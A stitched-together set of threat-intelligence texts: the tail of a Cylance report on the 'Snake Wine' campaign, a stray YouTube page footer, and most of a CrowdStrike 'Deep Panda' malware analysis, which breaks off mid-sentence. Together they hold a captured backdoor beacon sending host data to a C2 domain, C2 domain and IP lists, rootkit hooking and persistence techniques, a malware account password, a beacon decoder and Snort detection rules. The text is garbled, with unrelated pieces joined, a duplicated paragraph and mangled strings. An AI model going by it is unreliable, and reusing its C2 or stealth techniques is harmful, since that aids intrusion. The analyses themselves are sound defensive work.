nonstandard TCP ports and will send encoded information containing basic system information back, including hostname, username, and operating system within the content of the POST. ``` POST /586E32A1FFFFFFFF.aspx HTTP/1.1 Accept: */* Cookies: Sym1.0: 0, Sym2.0: 0, Sym3.0: 61456, Sym4.0: 1 Host: area.wthelpdesk.com:443 Content-Length: 39 Connection: Keep-Alive Cache-Control: no-cache ``` Although communication took place on TCP port 443, none of the traffic was encrypted and the custom cookies ‘Sym1.0’ – ‘Sym4.0’ can be used to easily identify the backdoor in network traffic. The backdoor has the ability to enumerate processor, memory, drive, and volume information, execute commands directly from the attacker, enumerate and remove files and folders, and upload and download files. Commands were sent by the C2 and processed by the backdoor in the form of encoded DWORDs, each corresponding to a particular action listed above. Tofu may also create two different bi-directional named pipes on the system `\\.\pipe\1[12345678]` and `\\.\pipe\2[12345678]` which could be accessed via other compromised machines on the internal network. During an active investigation, the file was found at `%AppData%\iSCSI_Initiarot.exe`. This path was confirmed as a static location in the code that the backdoor would use to copy itself. A static Run key was also used by the backdoor to establish persistence on the victim machine (`HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft iSCSI Initiator`). All of the samples Cylance identified were compiled in November 2016, so these backdoors may have simply been tests as later samples moved back to the shellcode-based Ham Backdoors. The backdoors were also similarly signed using the same stolen code-signing certificate from ‘HT Srl.’ ## C2 Infrastructure Cylance found that at least half of the infrastructure associated with The Deception Project appeared to be dark or at least unused. This suggests that the Snake Wine group will likely continue to escalate their activity and persistently target both private and government entities within Japan. Cylance also found an extensive network of Dynamic DNS (DDNS) domains registered via multiple free providers was likely being used by the same group. However, Cylance was unable to identify any current samples which communicated with this infrastructure and have subsequently separated this activity from the rest of the attacker’s infrastructure. Many of the DDNS domains were concocted to mimic legitimate Windows update domains such as `download.windowsupdate.com`, `ipv4.windowsupdate.com`, and `v4.windowsupdate.com`. **Domain Registration Information:** - 8/19/16 wchildress.com abellonav.poulsen(at)yandex.com - 8/19/16 poulsenv.com abellonav.poulsen(at)yandex.com - 8/19/16 toshste.com toshsteffensen2(at)yandex.com - 9/6/16 shenajou.com ShenaJouellette(at)india.com - 9/6/16 ixrayeye.com BettyWBatts(at)india.com - 9/12/16 wthelpdesk.com ArmandOValcala(at)india.com - 9/12/16 bdoncloud.com GloriaRPaige(at)india.com - 9/12/16 belowto.com RobertoRivera(at)india.com - 11/3/16 incloud-go.com RufinaRWebb(at)india.com - 11/3/16 unhamj.com JuanitaRDunham(at)india.com - 11/3/16 cloud-maste.com MeganFDelgado(at)india.com - 11/4/16 cloud-kingl.com ElisabethBGreen(at)india.com - 11/4/16 incloud-obert.com RobertJButler(at)india.com - 12/6/16 fftpoor.com SteveCBrown(at)india.com - 12/6/16 ccfchrist.com WenonaTMcMurray(at)india.com - 12/7/16 catholicmmb.com EmilyGLessard(at)india.com - 12/7/16 usffunicef.com MarisaKParr(at)india.com - 12/7/16 cwiinatonal.com RobertMKnight(at)india.com - 12/7/16 tffghelth.com NathanABecker(at)india.com - 12/7/16 acsocietyy.com PearlJBrown(at)india.com - 12/8/16 tokyo-gojp.com VeraTPerkins(at)india.com - 12/8/16 salvaiona.com DeborahAStutler(at)india.com - 12/8/16 osaka-jpgo.com JudithAMartel(at)india.com - 12/8/16 tyoto-go-jp.com AletaFNowak(at)india.com - 12/8/16 fastmail2.com ClementBCarico(at)india.com - 12/11/16 wcwname.com CynthiaRNickerson(at)india.com - 12/12/16 dedgesuite.net KatherineKTaggart(at)india.com - 12/12/16 wdsupdates.com GordonESlavin(at)india.com - 12/12/16 nsatcdns.com SarahNBosch(at)india.com - 12/13/16 vscue.com ChrisTDawkins(at)india.com - 12/13/16 sindeali.com DonnaJMcCray(at)india.com - 12/13/16 vmmini.com RaymondRKimbrell(at)india.com - 12/20/16 u-tokyo-ac-jp.com LynnJOwens(at)india.com - 12/21/16 meiji-ac-jp.com PearlJPoole(at)india.com - 12/26/16 jica-go-jp.bike AliceCLopez(at)india.com - 12/27/16 mofa-go-jp.com AngelaJBirkholz(at)india.com - 12/27/16 jimin-jp.biz EsmeraldaTYates(at)india.com - 12/27/16 jica-go-jp.biz RonaldSFreeman(at)india.com - 2/9/17 jpcert.org GinaKPiller(at)india.com - 2/14/2017 ijica.in DarrenMCrow(at)india.com - 2/17/2017 chibashiri.com WitaTBiles(at)india.com - 2/17/2017 essashi.com CarlosBPierson(at)india.com - 2/17/2017 urearapetsu.com IvoryDStallcup(at)india.com **Full Domain List:** - area.wthelpdesk.com - cdn.incloud-go.com - center.shenajou.com - commissioner.shenajou.com - development.shenajou.com - dick.ccfchrist.com - document.shenajou.com - download.windowsupdate.dedgesuite.net - edgar.ccfchrist.com - ewe.toshste.com - fabian.ccfchrist.com - flea.poulsenv.com - foal.wchildress.com - fukuoka.cloud-maste.com - gavin.ccfchrist.com - glicense.shenajou.com - hamiltion.catholicmmb.com - hukuoka.cloud-maste.com - images.tyoto-go-jp.com - interpreter.shenajou.com - james.tffghelth.com - kawasaki.cloud-maste.com - kawasaki.unhamj.com - kennedy.tffghelth.com - lennon.fftpoor.com - license.shenajou.com - lion.wchildress.com - lizard.poulsenv.com - malcolm.fftpoor.com - ms.ecc.u-tokyo-ac-jp.com - msn.incloud-go.com - sakai.unhamj.com - sappore.cloud-maste.com - sapporo.cloud-maste.com - scorpion.poulsenv.com - shrimp.bdoncloud.com - sindeali.com - style.u-tokyo-ac-jp.com - trout.belowto.com - ukuoka.cloud-maste.com - v4.windowsupdate.dedgesuite.net - vmmini.com - whale.toshste.com - windowsupdate.dedgesuite.net - windowsupdate.wcwname.com - www.cloud-maste.com - www.foal.wchildress.com - www.fukuoka.cloud-maste.com - www.incloud-go.com - www.kawasaki.cloud-maste.com - www.kawasaki.unhamj.com - www.lion.wchildress.com - www.msn.incloud-go.com - www.sakai.unhamj.com - www.sapporo.cloud-maste.com - www.unhamj.com - www.ut-portal-u-tokyo-ac-jp.tyoto-go-jp.com - www.vmmini.com - www.wchildress.com - www.yahoo.incloud-go.com - yahoo.incloud-go.com - zebra.bdoncloud.com - zebra.incloud-go.com - zebra.wthelpdesk.com **IP Addresses:** - 107.181.160.109 - 109.237.108.202 - 151.101.100.73 - 151.236.20.16 - 158.255.208.170 - 158.255.208.189 - 158.255.208.61 - 160.202.163.79 - 160.202.163.82 - 160.202.163.90 - 160.202.163.91 - 169.239.128.143 - 185.117.88.81 - 185.133.40.63 - 185.141.25.33 - 211.110.17.209 - 31.184.198.23 - 31.184.198.38 - 92.242.144.2 ## Anomalous IP Crossover One of the most perplexing aspects of tracing the infrastructure associated with this particular campaign is that it appeared to lead to a significant number of well-known ‘MenuPass’/‘Stone Panda’ domains. MenuPass is a well-documented CN-APT group, whose roots go back to 2009. The group was first publicly disclosed by FireEye. However, many of those domains were inactive for as long as two years and could have easily been re-registered by another entity looking to obfuscate attribution. As a result, we’ve only included recent Dynamic DNS domains that were connected to recently registered infrastructure. A much larger collection of information is available to trusted and interested parties. Please contact us at: deceptionproject (at) Cylance [dot] com. **Dynamic DNS IPs:** - 37.235.52.18 2016-05-11 - 78.153.151.222 2016-05-13 - 175.126.148.111 2016-07-14 - 95.183.52.57 2016-07-26 - 109.237.108.202 2016-12-26 - 109.248.222.85 2016-12-27 **Dynamic DNS Domains:** - blaaaaaaaaaaa.windowsupdate.3-a.net - contract.4mydomain.com - contractus.qpoe.com - ctdl.windowsupdate.itsaol.com - ctldl.microsoftupdate.qhigh.com - ctldl.windowsupdate.authorizeddns.org - ctldl.windowsupdate.authorizeddns.us - ctldl.windowsupdate.dnset.com - ctldl.windowsupdate.lflinkup.com - ctldl.windowsupdate.x24hr.com - download.windowsupdate.authorizeddns.org - download.windowsupdate.dnset.com - download.windowsupdate.itsaol.com - download.windowsupdate.lflinkup.com - download.windowsupdate.x24hr.com - ea.onmypc.info - eu.wha.la - feed.jungleheart.com - fire.mrface.com - fuck.ikwb.com - globalnews.wikaba.com - helpus.ddns.info - home.trickip.org - imap.dnset.com - ipv4.windowsupdate.3-a.net - ipv4.windowsupdate.authorizeddns.org - ipv4.windowsupdate.dnset.com - ipv4.windowsupdate.fartit.com - ipv4.windowsupdate.lflink.com - ipv4.windowsupdate.lflinkup.com - ipv4.windowsupdate.mylftv.com - ipv4.windowsupdate.x24hr.com - latestnews.organiccrap.com - microsoftmirror.mrbasic.com - microsoftmusic.itemdb.com - microsoftstore.onmypc.net - microsoftupdate.qhigh.com - mobile.2waky.com - mseupdate.ourhobby.com - newsreport.justdied.com - nmrx.mrbonus.com - outlook.otzo.com - referred.gr8domain.biz - twx.mynumber.org - v4.windowsupdate.authorizeddns.org - v4.windowsupdate.dnset.com - v4.windowsupdate.itsaol.com - v4.windowsupdate.lflinkup.com - v4.windowsupdate.x24hr.com - visualstudio.authorizeddns.net - windowsupdate.2waky.com - windowsupdate.3-a.net - windowsupdate.acmetoy.com - windowsupdate.authorizeddns.net - windowsupdate.authorizeddns.org - windowsupdate.dns05.com - windowsupdate.dnset.com - windowsupdate.esmtp.biz - windowsupdate.ezua.com - windowsupdate.fartit.com - windowsupdate.itsaol.com - windowsupdate.lflink.com - windowsupdate.mrface.com - windowsupdate.mylftv.com - windowsupdate.x24hr.com - www.contractus.qpoe.com - www.feed.jungleheart.com - www.helpus.ddns.info - www.latestnews.organiccrap.com - www.microsoftmirror.mrbasic.com - www.microsoftmusic.itemdb.com - www.microsoftstore.onmypc.net - www.mobile.2waky.com - www.mseupdate.ourhobby.com - www.nmrx.mrbonus.com - www.twx.mynumber.org - www.visualstudio.authorizeddns.net - www.windowsupdate.acmetoy.com - www.windowsupdate.authorizeddns.net - www.windowsupdate.authorizeddns.org - www.windowsupdate.dnset.com - www.windowsupdate.itsaol.com - www.windowsupdate.x24hr.com - www2.qpoe.com - www2.zyns.com - www2.zzux.com ## Conclusion The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure. If the past is an accurate indicator, attacks will continue to escalate in both skill and intensity as the attackers implement new tactics in response to defenders acting on previously released information. Perhaps the most interesting aspect of the Snake Wine group is the number of techniques used to obscure attribution. Signing the malware with a stolen and subsequently publicly leaked code-signing certificate is sloppy even for well-known CN-APT groups. Also of particular interest from an attribution obfuscation perspective is direct IP crossover with previous Dynamic DNS domains associated with known CN-APT activity. A direct trail was established over a period of years that would lead competent researchers to finger CN operators as responsible for this new activity as well. Although the MenuPass Group used mostly publicly available RATs, they were successful in penetrating a number of high-value targets, so it is entirely possible this is indeed a continuation of past activity. However, Cylance does not believe this scenario to be probable, as a significant amount of time has elapsed between the activity sets. Also of particular interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28. In any case, Cylance hopes to better equip defenders to detect and respond to active threats within their network and enable the broader security community to respond to similar threats. In terms of defending and responding to malware, attribution is rarely important. As new methodologies become more broadly detected, threat actors will continue to embrace alternate and new strategies to continue achieving their objectives.
# Reversing CryptoCrazy Ransomware - PoC Decryptor and some Tricks About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features © 2022 Google LLC
# DEEP PANDA INTELLIGENCE TEAM REPORT VER. 1.0 ## EXECUTIVE SUMMARY In December, CrowdStrike received three binary executable files that were suspected of having been involved in a sophisticated attack against a large Fortune company. The files were analyzed to understand first if they were indeed malicious and the level of sophistication of the samples. The samples were clearly malicious and varied in sophistication. All three samples provided remote access to the attacker via two Command and Control (C2) servers. One sample is typical of what is commonly referred to as a ‘dropper’ because its primary purpose is to write a malicious component to disk and connect it to the targeted host's operating system. The malicious component in this case is what is commonly referred to as a Remote Access Tool (RAT), manifested as a Dynamic Link Library (DLL) installed as a service. The second sample analyzed is a dual-use tool that can function both as a post-exploitation tool used to infect other systems, download additional tools, remove log data, and itself be used as a backdoor. The third sample was a sophisticated implant that, in addition to having multiple communication capabilities and the ability to act as a relay for other infected hosts, utilized a kernel mode driver that can hide aspects of the tool from user-mode tools. This third component is likely used for long-term implantation and intelligence gathering. Some AV engines occasionally identify this sample as Derusbi Trojan. CrowdStrike Intelligence Team has seen Trojans from eight different builder variants of this RAT, including 64-bit versions, used in targeted attacks in 2011 against Defense, Energy/Power, and Chemical Industries in the US and Japan. All of these samples reflect common toolmarks and tradecraft consistent with Chinese-based actors who target various strategic interests of the United States, including High Tech/Heavy Industry, Non-Governmental Organizations (NGOs), State/Federal Government, Defense Industrial Base (DIB), and organizations with vast economic interests. This report contains an in-depth technical analysis of the samples, detection/remediation/mitigation information, attribution intelligence, and a conclusion aimed at providing the reader with a synopsis of the report. ## TECHNICAL ANALYSIS ### Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) The executable 14c04f88dc97aef3e9b516ef208a2bf5 is commonly referred to as a ‘dropper’, designed with the purpose of extracting from itself a malicious payload and initializing and installing it into a targeted system. In this case, the malicious payload is a Dynamic-Link Library (DLL), which enables an attacker to have full control of the system. This code appears to have been compiled on Wednesday, May 4th, 2011, at 11:04:24 A.M. UTC (equivalent to early evening time in China). The timestamp is in UTC; however, the relative time of day in China is provided for the benefit of the reader. The sample first resolves several library functions provided by Microsoft using the LoadLibrary() and GetProcAddress() Application Programming Interfaces (APIs). The imported function names are not encrypted; however, the function name is minutely obfuscated by a simple single character substitution: ```c //Obfuscation of GetTempPathA() API function call strcpy((char *)ProcName, “2etTempPathA”); ProcName[0] = ‘G’; ``` The dropper invokes the SHGetSpecialFolderPath() API supplying a Constant Special Item ID List (CSIDL) of ‘CSIDL_COMMON_DOCUMENTS’ to identify the destination folder for the malicious DLL payload. The CSIDL in this case points to “The file system directory that contains documents that are common to all users. A typical path is C:\Documents and Settings\All Users\Documents.” The dropper attempts to write the malicious payload to one of the following file names using the first available name in this set: 1. infoadmn.dll 2. infoctrs.dll 3. infocardapi.dll The dropper sets the creation and last written timestamps of the newly created file to the date that allows the newly created malicious DLL to blend in with other system files. This is meant to prevent identification during disk forensics using a common investigative technique called a forensic analysis timeline. This date is specified in the dropper code and does not change across multiple infections. The malicious DLL file that is dropped is hidden in a resource of the dropper binary. This is a relatively common technique used by malware dropper files to optimize the number of files required to infect a machine. The resource language of the malicious DLL is set to “Chinese Simplified” at the time the dropper was compiled. The ‘M=’ header, which denotes a binary executable file of the dropper, indicates the language setting on the compiler used by the person who built the binary was set to “Chinese Simplified” at the time the dropper was compiled. The ‘M=’ header, which denotes a binary executable file of the dropper, indicates the language setting on the compiler used by the person who built the binary was set to “Chinese Simplified” at the time the dropper was compiled. ### Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) This sample is a ‘backdoor’ which is the DLL dropped by the dropper sample file with an MD5 of 14c04f88dc97aef3e9b516ef208a2bf5. This code appears to have been compiled on Wednesday, May 4th, 2011, at 10:48:19 A.M. UTC (equivalent to early evening time in China). It is instantiated when it is mapped into the process space of its dropper file and its export named “Open,InfoPerformaceData” is called. This export first attempts to stop a service called “msupdate” which is not a known Microsoft Windows service despite the appearance. If the service is present, the malware replaces its previous instances or versions of this backdoor. After attempting to disable the existing service, the malware tries to install itself as a service with that same name. During installation, the sample attempts to use documented APIs such as OpenSCManager() and CreateService() to initialize itself as a persistent Windows service. As a precaution, the sample writes settings directly to the Windows Registry to accomplish the same goal if installing the service with the documented APIs fails. The registry change creates the following key: ``` HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msupdate\Parameters ``` Following this, the subroutine will set the value of the ‘ServiceDLL’ to the module handle of the DLL. The next key to be changed is: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost ``` which will have the ‘msupdate’ key set to ‘msupdate’. The export ‘CollectW3PerfData’ is registered as the main function of the DLL. If the installation of the new service is successful, the sample then starts the new service and exits. If the installation fails, the sample spawns a new process using rundll32.exe to call a specific exported function. In the case of installation failure, rundll32.exe calls the main functions export ‘Collect: PerfData’. The rundll32.exe executable is instantiated with a new unique security identifier (SID) set with permissions that grant all access to the file. This allows any user to have complete control over the machine, as rundll32.exe is frequently launched by tasks such as changing the time, wallpaper, or other system settings. This means that after cleaning up the components dropped by the malware, the system remains vulnerable to local attacks by simply overwriting the legitimate rundll32.exe executable with a malicious version and awaiting its automatic execution by the Operating System. The main entry point to the DLL is named ‘Collect: PerfData’ as it first creates and displays a fake window with class “NOD32_%d” where %d is replaced with a pseudo-random number. This may be an attempt to fool some automated dynamic analysis or anti-malware software into believing this is the legitimate ESET AV software. The window is however not visible and implements no specific functionality. After creating this window, the routine starts the main thread that eventually initiates calling out to the Command and Control (C2). In order to accomplish this task, the newly created thread initializes networking APIs using WSAStartup() and resolves some other APIs dynamically using LoadLibrary() and GetProcAddress(). Once the proper APIs have been resolved, the sample then assigns a NULL SID to the rundll32.exe executable and sets the current process’ Window Station to “winsta0”, which enables the sample to access the real user’s desktop if started as a service. The communication to the C2 is handled by a while() loop, with each successive connection attempt causing the loop to invoke the Windows Sleep() API for a time interval of 2 seconds, exponentially increasing in length up to 1024 seconds (17 minutes) and then restarting back to 2 seconds. ### Initial C2 Phone Home Beacon The C2 location in this sample is statically defined as “Malaysia Tmnnet Telekoma Malaysia Bhd”. While there is ‘dead code’ that would download the C2 location from an HTTP URL, this code is not activated due to the format of the statically defined C2 location using an IP address. Thus the sample will only attempt to connect directly using a raw socket to the C2 located at 1.9.5.38:443. This indicates the use of a ‘boilerplate code’ or a builder software package that automates the creation of the malicious sample. The malicious sample sends an initial beacon to the C2 that includes the following information: - The computer name as obtained with the GetComputerName API, - The username of the current Remote Desktop session if currently being executed in a Remote Desktop session or “none” otherwise. - The logged in username in the system as obtained with the GetUserName API, - The machine’s uptime, - The Windows version and Service Pack level, - The amount of available Physical Memory in MB, - Current Remote Desktop session enumerated with WTSEnumerateSessions, - A string identifier set to “%B”, The beacon is encrypted using an XOR ‘$’ loop using the statically defined key and sent to the C2. The following Python function can be used to decode the beacon strings: ```python def decode(crypted): decoded = "" for x in crypted: decoded += chr(((ord(x)^(0x1C +1)) + (0x1C +1)) & 0xFF) return decoded ``` When command 0x23000004 is received, a temporary new user “_DomainUser_” with password “Dom4!nUserP4ss” is created and added to the local Administrators group. The backdoor is then started under that account and the user is deleted. It would appear this technique is meant to obfuscate the activities of the malicious sample by masking the process creator’s username to appear to be a generic domain user. Note that such an account does not normally exist in an Active Directory environment. Additionally, the primary C2 connection allows for requests to start additional connections to the C2 implementing the following functionality: - A process control connection initiated by command 0x23000000 that allows for enumeration and killing of running processes. - A piped command line process connection that allows communication with standard input and output of arbitrary executables; initiated by command 0x23000000. - A file browser connection initiated by command 0x23000000 that allows for: - Listing directory contents, - Copying, deleting, and moving files, - Opening files using the ShellExecute API, - Downloading and uploading files from/to the C2. ### Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) This sample is typical of a post-exploitation tool; it is written in .NET 2.0. This code appears to have been compiled on Thursday, May 26th, 2011, at 10:21:44 A.M. UTC (early evening time in China). The backdoor functionality can be instantiated either directly from the command line or through commands issued over a network-based protocol via the C2. If no arguments are given, a connection to the C2 is initiated to the statically defined IP address. The command line options support post-exploitation capabilities such as changing file timestamps, forensic mitigation, escalating the executable, and specifying a specific C2. One interesting command line option allows the backdoor to filter the contents of specified files to remove content using a regular expression. This command modifies the creation, modification, and last access timestamps of the modified file to conceal the content modifications. A detailed listing of command line arguments can be viewed in Appendix A. This activity is generally associated with log cleaning to complicate a forensic investigation. The sample contains an embedded IP address for C2 that is stored in an encrypted format as a string resource: ``` W “P-T<K-.FK-X7PR6=N-.D & % ) ) ) %&& $$$” ``` Variants of this Trojan are sometimes detected under the name ‘Derusbi’ by Microsoft, Trend, Sophos, and Symantec AV engines. This sample is a DLL which can be registered as a service and is used to drop a kernel driver and provide an interactive command line shell to the C2. It also is able to bypass User Account Control (UAC) to install itself by using the ‘sysprep.exe’ Microsoft Windows executable provided by the targeted system. The steps it takes to install itself onto a system are as follows: 1. Copies itself to %WINDIR%\system32\Msres<3 random characters>.ttf. 2. After it copies itself, it will modify the creation time, last access time, and last modification time to the current system time when the copy was made but with the year changed to 2005. 3. Adds itself as a service name from the backdoor’s configuration under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service>. This defaults to “wuauserv”, the legitimate Windows Update service in the given binary’s default configuration. 4. Adds itself to the list of services started by ‘netsvc’ using the service name ‘helpsvc’. 5. If McAfee AV is installed, creates a copy of regsvr32.exe named Update.exe and then schedules the copy to be deleted on reboot using the well-documented MoveFileExA API. 6. It then calls either the original or copy of regsvr32.exe with the parameters /s /u and the path to the copy of itself it made in Step 1. The /u parameter means “uninstall”, which calls DllUnregisterServer, this is an unsophisticated method of DLL entry point obfuscation. 7. DllUnregisterServer installs the driver and initiates the backdoor component. The sample is capable of ‘dropping’ an embedded encrypted kernel driver. If the process “Khu'Dong)Fang<X.exe” is running (AntiVirus360 program from the Chinese ‘Quihoo 360 Technology Co., LTD’), or the username of the DLL’s host process context is not ‘SYSTEM’, the driver is not written to disk. Barring the two aforementioned conditions, the sample decrypts the kernel driver to: ``` %sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys ``` Following the decryption and writing of the driver to disk, it is loaded using the ZwLoadDriver API. The driver is encrypted using a four-byte key value of ‘$’ after decryption, the file has the MD5 hash of dae6b9b3b8e39b08b10a51a6457444d8. ### Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) This sample is a packed 32-bit kernel driver extracted by the aforementioned DLL with an MD5 hash of de7500fc1065a081180841f32f06a537. This sample will only function on a Windows 32-bit kernel. This code appears to have been compiled on Sunday, October 9, 2011, at 4:50:31 P.M. UTC (very early morning time of Monday, October 10 in China). #### Entrypoint This section describes how the driver performs its initialization routine. **Multiple Instance Protection** The driver begins by opening a named event in the BaseNamedObjects object directory with the name “$&%II FI %' ) ( %& '&`”. If the event already exists, the driver fails to load, presumably to avoid multiple instances of itself. If the event does not exist, the driver then creates it using the Windows API. **Anti-Debugging Protection** The second component of the entry point performs an anti-debugging technique, calling the function KdDisableDebugger(), which allows the driver to disable usage of the built-in Windows kernel debugging facility that is used by popular kernel debuggers KD and WinDbg. Tools such as Syser Debugger or debugging through a virtual machine are unaffected by this technique. The sample, rather than importing the KdDisableDebugger() API using conventional methods, looks up the API through MmGetSystemRoutineAddress() instead. All of the other APIs used by the driver are imported normally, so this is not a technique to hide import APIs used throughout the driver. Searching Google for “MmGetSystemRoutineAddress” and “KdDisableDebugger” results in dozens of Chinese language blogs which explain how to use this technique to “Disable WinDbg”. **Hooking** The final step of the entry point is to begin hooking the system, which is done by two helper functions—one designed to hook the system call table, while the other hooks the network stack. **Network Stack Hooking** The network stack hooking first queries the version using RtlGetVersion or PsvGetVersion. Checking the version is necessary because Windows versions beginning with Vista utilize a redesigned TCP/IP network stack; most hooking operations will require a different implementation for these versions. On versions prior to Windows Vista, the TCP/IP driver creates a \Device\Tcp device object through which most network requests are piped through. On Vista and later, TCP/IP has been split up into multiple components, and IP connection enumeration, which this driver is targeting, is managed by \Device\nsiproxy instead. In either case, the driver obtains the device object by using IoGetDeviceObjectPointer() and hooks Major Function 14 the IRP_MJ_DEVICE_CONTROL, as this is the function through which all Input Output Control (IOCTLs) are sent, such as the IOCTL for querying active IP connections. **Network Store Interface (NSI) Hook** The NSI hook targets IOCTL 0x12001B, which is used by NsiGetObjectAllParameters() in nsi.dll when users typically run commands such as netstat.exe or use any of the IP Helper APIs in iphlpapi.dll. The purpose of the hook is to scan the list of active connections returned to the user and hide any such connection currently bound to a local TCP port in the range between 40000 and 45000. The hooking is performed by creating a new completion routine associated with any IRP_MJ_DEVICE_CONTROL IRP that matches the IOCTL, attaching to the target process, performing several memory copies to hide the entry, and detaching. This functionality is nearly identical to the code posted by Edward Sun (aka cardmagic) from Hefei, Anhui province on July 8, 2007, then a China-based researcher at Trend Micro. CrowdStrike has no information connecting Mr. Sun to this intrusion activity; his code appears to have been appropriated by the actor to add similar functionality to their code. **TCP Hook** The TCP hook works almost identically to the NSI hook, though instead hooking IOCTL 0x120003. This IOCTL has the exact same functionality as the NSI hook. This IOCTL was the mechanism used on Windows versions prior to Windows Vista. This hook also filters any connections listening on TCP ports in the range between 40000 and 45000. **System Call Hooking** The system call hooking targets three functions: ZwSaveKey, ZwQueryValueKey, and ZwEnumerateValueKey. The unpatched kernel driver sample hooks these functions by reading the second DWORD at each of these exported functions. Because the system call stub uses the EAX register as an index for the system call ID, and a “mov eax, imm32” instruction is used, this second DWORD will match the system call ID. It then adds this index to the value of KeServiceDescriptorTable.Base, which is the exported kernel variable (on 32-bit Windows only) that directly points to the system call table. This is one of the simplest ways to do a system call hook but will not work on 64-bit Windows as this variable is not exported in addition to the protection provided by Microsoft PatchGuard. The system call hook is then performed by first allocating a Memory Descriptor List (MDL) using the Windows API IoAllocateMdl() and associating the MDL to a non-paged buffer using MmBuildMdlForNonPagedPool(). Once the MDL is associated with the non-paged buffer, the sample locks the underlying pages using the Windows API MmProbeAndLockPages(). Instead of hooking the entry in the table directly, which is easily detectable, the driver uses the LDASM open-source disassembly engine to analyze the function that is being pointed to by the table and applies a Detours-style hook directly in the code. It uses the standard “mov cr0, eax” technique, turning off the Write Protect (WP) bit as it does this. When the hook is installed, it writes a special DWORD value, ‘KDTR’, which allows it to prevent double-hooking or badly-hooking the system call. During unhooking, this value is also checked. **Registry Hooks** In the ZwSaveKey hook, access to \REGISTRY\MACHINE\SYSTEM is blocked. RegSaveKey(), which is the user-mode implementation of the kernel, is typically used when performing an offline backup of a particular registry key. The ZwQueryValueKey hook looks for “Parameters” key of a service with the registry path \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\. It then checks for the values of the “ServiceDll” and “Security” keys; in the latter case, it applies an XOR on the data with the value 127. The user-mode component of this malware is a service called “msupdate”; this driver is attempting to hide the service. The user-mode service stores configuration data in the “Security” subkey of the RPC registry key. This component will obfuscate the user-mode configuration data. The driver does not make any efforts to hide its own key nor does it specifically check for “RPC” before “Security”, which can lead to random data being obfuscated. ## MITIGATION / REMEDIATION This threat actor leaves several key fingerprints which can be used to identify compromised systems. These digital fingerprints are unique to this adversary for this campaign. ### Network Signatures The following network signatures are designed for the popular Open Source IDS called Snort. These signatures can be ported to other formats upon request. **Malware #1** ``` alert tcp any any <> any any (msg: “BackDoor Beacon Attempt”; content:”|78 7c 71 4c 4a 49 49 49 4A 4C 46|”; classtype:backdoor; sid:123456; rev:27122011;) alert tcp any any <> any any (msg: “BackDoor Beacon Attempt”; content:”Google”; http_uri; classtype:backdoor; sid:123457; rev:27122011;) alert ip 1.9.5.38 any <> any any (msg: “Malicious Host Detected”; classtype:backdoor; sid:123460; rev:27122011;) ``` **Malware #2** ``` alert tcp any any <> any any (msg:”BackDoor Beacon Attempt”; content:”|03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 0000 00 00|”; classtype:backdoor; sid:123458; rev:27122011;) alert ip 202.86.190.3 any <> any any (msg:”Malicious Host Detected”; classtype:backdoor; sid:123459; rev:27122011;) ``` **Malware #3** ``` alert tcp any any <> any any (msg: “BackDoor C2”; content: “POST /forum/login.cgi HTTP/1.1”; content:”User-Agent: Mozilla/4.0”; classtype:backdoor; sid:123461; rev:27122011;) alert tcp any any <> any any (msg: “BackDoor C2”; content: “GET /Photos/Query.cgi?loginid=”; classtype:backdoor; sid:123462; rev:27122011;) alert tcp any any <> any any (msg: “BackDoor C2”; content: “POST /Catelog/login1.cgi HTTP/1.1”; content:”User-Agent: Mozilla/4.0”; classtype:backdoor; sid:123461; rev:27122011;) ``` ### File System Artifacts The following file system artifacts are indicative of a compromised host: **Dropper/DLL** ``` C:\Documents and Settings\All Users\Documents\infoadmn.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infoctrs.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infocardapi.dll (TS: 2007-03-07 00:00:00) MD5: 47619fca20895abc83807321cbb80a3d ``` **Post Exploitation Tool** ``` MD5: 2dce7fc3f52a692d8a84a0c182519133 ``` **Backdoor** ``` MD5: de7500fc1065a081180841f32f06a537 ``` **Kernel Driver:** ``` MD5: dae6b9b3b8e39b08b10a51a6457444d8 “%sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys” ``` ### Registry Artifacts The following Windows Registry artifacts are indicative of a compromised host: **Dropper/DLL** ``` HKLM\SYSTEM\CurrentControlSet\Services\msupdate HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost ``` **Backdoor** ``` HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Msres<3 character rand>.ttf ``` ### Other Artifacts **Dropper/DLL** ``` Username: _DomainUser_ Password:”Dom4!nUserP4ss” ``` **Backdoor** The backdoor may be detected by several different Anti-Virus products under a signature with the name: Derusbi. **Kernel Driver** ``` Object: {8CB2ff21-0166-4cf1-BD8F-E190BC7902DC} ``` ## ATTRIBUTION Attribution in the cyber domain is always a tricky subject when relying solely on malicious samples. Compiler artifacts and language settings can of course be deliberately masked or spoofed. CrowdStrike uses a unique approach of comprehensive threat analysis in order to decipher attributable components. Based on the corroborating evidence discovered in the course of this analysis, it appears there are numerous indications that this is a Chinese-speaking actor. The Khu'Dong)Fang<X is a component of a Chinese security product available from 360.cn. This is particularly relevant in this case because the backdoor DLL sample with an MD5 of de7500fc1065a081180841f32f06a537 specifically avoids installing the kernel driver on a system running this tool. Speculatively this may be because this security product detects this rootkit, or the author was attempting to prevent accidental infection on systems running this Anti-Virus product. The obfuscation of the KdDisableDebugger() function call is seen on several Chinese language forums and can be seen being reused in several code 